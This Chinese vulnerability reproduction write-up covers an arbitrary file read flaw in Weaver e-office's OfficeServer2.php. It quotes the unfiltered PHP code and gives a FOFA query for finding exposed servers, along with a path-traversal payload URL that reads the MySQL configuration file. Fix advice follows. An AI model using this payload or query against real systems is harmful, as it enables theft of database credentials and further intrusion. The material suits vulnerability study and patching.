泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现

本文涉及的产品
服务治理 MSE Sentinel/OpenSergo,Agent数量 不受限
可观测可视化 Grafana 版,10个用户账号 1个月
简介: 泛微e-office OfficeServer2.php 存在任意文件读取漏洞,攻击者可通过构造特定Payload获取敏感数据信息。

声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、漏洞描述

泛微e-office OfficeServer2.php存在任意文件读取漏洞隐患,攻击者可通过此漏洞获取敏感信息,为下一步攻击做准备。

image.png

二、漏洞分析

打开iWeboffice/OfficeServer2.php,代码如下:


//取得操作命令信息

$mOption=$OPTION;                                                 //取得操作命令信息

switch ($mOption){

 case "LOADFILE":

   $mFileName = $_REQUEST["FILENAME"];

   $mRecordID = $_REQUEST['RECORDID'];

   $mFullPath = $mFilePath."/".$mRecordID."/".$mFileName;

   $mFullPath = iconv("utf-8","gbk",$mFullPath);

   $result    = file_exists($mFullPath);

   if($result == false) {

     $MsgError=$_lang["file_file_not_exist"].$mFullPath;                                 //设置错误信息

   } else {

     $fd = fopen($mFullPath, "rb");

     $mFileSize = filesize($mFullPath);

     $mFileBody = fread($fd, filesize($mFullPath));

     fclose( $fd );

     $MsgObj=$MsgObj."STATUS=".base64_encode($_lang["file_open_success"]."!")."\r\n";       //设置状态信息

   }

   break;

 case "SAVEFILE":                                             //下面的代码为保存文件在服务

   $mFileName = $_REQUEST["FILENAME"];

   $mRecordID = $_REQUEST['RECORDID'];

   $mFullPath = $mFilePath."/".$mRecordID."/".$mFileName;

   if (is_uploaded_file($_FILES['MsgFileBody']['tmp_name']))

   {                                                             //保存文档内容

     if (move_uploaded_file($_FILES['MsgFileBody']['tmp_name'], iconv("utf-8","gbk",$mFullPath)))

     {                                                //把文档保存到$mFullPath目录下面

       $mFileSize = $_FILES['MsgFileBody']['size'];   //取得文档大小

       $result    = true;

     }

     else

     {

       $MsgError=$_lang["file_save_fail"];                 //设置错误信息

       $result=false;

     }

   }

   else

   {

     $MsgError=$_lang["file_upload_fail"];                 //设置错误信息

     $result=false;

   }

   if($result)

   {

     $MsgObj=$MsgObj."STATUS=".base64_encode($_lang["file_save_success"]."!")."\r\n";   //设置状态信息

   }

   break;


在审计过程中看到LOADFILE。通过$mFileName = $_REQUEST[“FILENAME”];

获取文件名字。而下面的流程没有进行过滤就造成了任意文件读取。

image.png


三、漏洞复现

FOFA: app="泛微-EOffice"

构造POC读取配置文件(V9,V10)


Payload:iweboffice/officeserver2.php?OPTION=LOADFILE&FILENAME=../../bin/mysql_config.ini

image.png

四、修复建议


1、对用户输入进行严格的过滤和校验,避免出现任意文件读取漏洞

2、升级到安全版本

目录
相关文章
|
10月前
|
存储 安全 前端开发
代码审计——任意文件下载详解
代码审计——任意文件下载详解
176 0
|
11月前
|
安全 网络安全 开发者
DedeCMS 5.7.106版本存在文件包含漏洞
攻击者可以通过操纵参数allurls来实现代码注入,并最终获得网站的控制权限。在/data/admin/allowurl.txt文件中写入的内容,并没有经过安全过滤,从而导致被成功绕过。由此可见,开发者应该严格限制用户输入的数据,避免类似漏洞的出现,确保网站的安全性和稳定性。
121 0
|
11月前
|
安全 PHP
Thinkphp5.0.0-5.0.18 RCE分析
本篇文章基于thinkphp5.*框架,分析两种payload的构成以及执行流程
|
11月前
|
安全 PHP
pikachu靶场通过秘籍之PHP反序列化漏洞攻击
pikachu靶场通过秘籍之PHP反序列化漏洞攻击
128 0
|
安全 Ruby
CVE-2019-5418 Ruby on Rails 路径穿越与任意文件读取漏洞
CVE-2019-5418 Ruby on Rails 路径穿越与任意文件读取漏洞
181 0
CVE-2019-5418 Ruby on Rails 路径穿越与任意文件读取漏洞
|
安全 Shell 测试技术
Shopex V4.8.4|V4.8.5下载任意文件漏洞
利用前提是程序所应用的数据库服务器而且要是可以外连的,这个很关键。 自己搞站时候遇见的站,网上找不到该版本的漏洞,自己拿回源码读了一下。 找到一个漏洞,还是发出来吧。 读取任意文件漏洞: http://www.xx.com/shopadmin/index.php?ctl=sfile&act=getDB&p[0]=. . /. . /config/config.php 复制代码可以连上数据库。
2039 0
|
开发框架 安全 .NET
IIS6.0目录解析漏洞原理/复现
目录解析漏洞原理 IIS6.0版本存在目录解析漏洞 , ,asp格式命名的文件夹,其目录下的所有文件都会被IIS当做asp文件来解析 漏洞复现 环境准备 Windows 2003系统 , IIS 6.0 服务
199 0
IIS6.0目录解析漏洞原理/复现
|
安全 网络安全 PHP
网站漏洞检测 之后台php语句拼接webshell漏洞
临近9月底,seacms官方升级海洋cms系统到9.95版本,我们SINE安全在对其源码进行网站漏洞检测的时候发现问题,可导致全局变量被覆盖,后台可以存在越权漏洞并绕过后台安全检测直接登录管理员账号。关于该漏洞的具体详情,我们来详细的分析一下:
138 0
网站漏洞检测 之后台php语句拼接webshell漏洞
|
Shell PHP Unix
细数PHP中16个高危函数
php中内置了许许多多的函数,在它们的帮助下可以使我们更加快速的进行开发和维护,但是这个函数中依然有许多的函数伴有高风险的,比如说一下的16个函数不到万不得已不尽量不要使用,因为许多“高手”可以通过这些函数抓取你的漏洞。
708 0
|
安全 PHP Windows
phpstudy 漏洞分析与利用POC 包含漏洞补丁
phpStudy于近日被暴露出有后门漏洞,之前的phpStudy2016,phpStudy2018部分版本,EXE程序包疑似被入侵者植入木马后门,导致许多网站及服务器被攻击,被篡改,目前我们SINE安全公司立即成立phpStudy安全应急响应小组,针对部分客户服务器上安装该PHP一键环境搭建的情况,进行了全面的漏洞修复与安全防护。
3559 0